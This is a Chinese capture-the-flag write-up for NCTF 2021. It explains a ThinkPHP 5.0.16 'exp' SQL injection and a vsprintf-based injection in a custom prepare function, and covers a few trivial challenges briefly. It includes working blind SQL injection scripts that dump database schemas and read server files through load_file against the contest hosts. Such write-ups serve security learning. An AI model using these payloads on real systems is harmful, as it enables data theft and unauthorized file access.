nctf2021wp
官方wp:https://ctf.njupt.edu.cn/727.html
摆就完事了
题目链接:http://129.211.173.64:8085/public/index.php/index/index/index
www.zip下载源码
是thinkphp的源码,在url里面随便输入看报错

thinkphp 5.0.16的版本
接着发现图片的图床是出题人的博客看到第一篇文章(好像后来没了
关于thinkphp insert的注入,是5.0.15版本
首先要访问到源码的这个页面

根据驼峰命名的访问规则访问到:/public/index.php/index/M1saka_M1yuu/index

讲的是5.0.15版本可以用inc和dec来注入,但是官方16版本修复了这个洞,但是却没有修复exp的洞,原因是内置过滤了,通过出题人博客提示我发现出题人把源码的那个正则过滤改过了,
所以直接可以
?username[0]=exp&username[1]=if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>’nctf’))),{i},1))>{mid},sleep(4),sleep(1))
因为没看debug 所以使用时间盲注的方式。最后用loadfile读文件就行
注入脚本:
# -*- coding: UTF-8 -*-import requestsimport timeflag = ''for i in range(1, 2000):min = 31max = 127while min < max:mid = (min + max) // 2#payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(substr(database(),{i},1))>{mid},sleep(4),sleep(1))"#payload = f"http://47.101.160.205:8085/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid(select(group_concat(schema_name)from(information_schema.schemata))),{i},1))>{mid},sleep(4),sleep(1))"#payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>'nctf'))),{i},1))>{mid},sleep(4),sleep(1))"# payload = f'\'or(if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0))#'# payload = f"\'or((if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>'xinxicaiji'))),{i},1))>{mid},1,0)))#"#payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((SELECT(group_concat(column_name))from(information_schema.columns)where(!(table_name<>'m1saka'))),{i},1))>{mid},sleep(4),sleep(1))"# payload = f"\'or((if(ascii(mid((SELECT(group_concat(column_name))from(information_schema.columns)where(!(table_name<>'m1saka'))),{i},1))>{mid},1,0)))#"# payload = f"http://47.101.160.205:8085/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((select(group_concat(password))from(nctf.m1saka)),{i},1))>{mid},sleep(4),sleep(1))"#payload = f"\'or((if(ascii(mid((select(group_concat(dangqiandizhi))from(xinxicaiji.tb_info)),{i},1))>{mid},1,0)))#"#payload=f"or(ascii(substr(version(),{i},1))>{mid})#"payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((select(load_file('/var/www/html/ffllaagg.php'))),{i},1))>{mid},sleep(4),sleep(1))"#select(load_file('/var/www/html/flag.php'))headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0','Content-Type': 'application/x-www-form-urlencoded'}startTime = time.time()response = requests.get(url=payload)print(payload)if time.time() - startTime > 3:min = mid + 1else:max = midif min != 31:flag += chr(min)else:breakprint(flag)#id,username,password,flag_in_flag.php,age
ezsql
题目链接:http://129.211.173.64:3080/login.php
if (isset($_POST['password'])){$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);if (isset($_POST['name'])){$query = db::prepare($query . " and name=%s", $_POST['name']);}else{$query = $query . " and name='benjaminEngel'";}$query = $query . " limit 1";$result = db::commit($query);if ($result->num_rows > 0){die('NCTF{ez');}else{die('Wrong name or password.');}}
这里感觉可以用name=)去闭合md5函数的,但是发现在那个prepare函数有校验,跟进到prepare函数
public static function prepare($query, $args){if (is_null($query)){return;}if (strpos($query, '%') === false){die('%s not included in query!');return;}#这里进行了初步检测查看语句里是否包含%// get args$args = func_get_args(); 返回一个包含函数参数列表的数组array_shift( $args );将数组开头的单元移出数组 ,这里的话就是第二个参数$args_is_array = false;if (is_array($args[0]) && count($args) == 1 ) {$args = $args[0];$args_is_array = true;}$count_format = substr_count($query, '%s');%s数量if($count_format !== count($args)){die('Wrong number of arguments!');return;}这里name要用数组,因为有俩个%s// escapeforeach ($args as &$value){$value = static::$db->real_escape_string($value);}// prepare$query = str_replace("%s", "'%s'", $query);$query = vsprintf($query, $args);利用sprintf注入return $query;}
拼接后的sql语句大概是这样的
SELECT * FROM users where password=md5(%s)” “ and name[0]=)or 1#name[1]=1 “
这里我试了一下数组就出了

注入脚本:
import requeststr = "NCTF{3v3ryth1ng_"url = "http://129.211.173.64:3080/login.php"def sql(url):res = ""for i in range(1, 1000):left = 32right = 128mid = (left + right) // 2while (left < right):# payload = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i,mid)# payload = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid)# payload = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=0x32303231)),%d,1)))>%d)#" % (i, mid)# payload = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4e635446)),%d,1)))>%d)#" % (i, mid)payload = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid)data = {"name[0]": payload, "name[1]": "1", "password": "%s"}#urls = url + payloadres = requests.post(url=url, data=data)if tr in res.text:left = mid + 1else:right = midmid = (left + right) // 2if (mid == 32):breakres += chr(mid)print(res)sql(url)
摆就完事2.0
题目链接:http://129.211.173.64:8086/public/index.php/index/index/index
和1.0一样
只是flag的位置变了
ezjava
这题感觉是反序列化没做出来(tcl
签到
f12复制
misc
做题做累了来玩玩游戏吧
就在那个level2文件里面用那个notepad++打开里面有个网址
Hello せかい
ida打开 按f5就出了
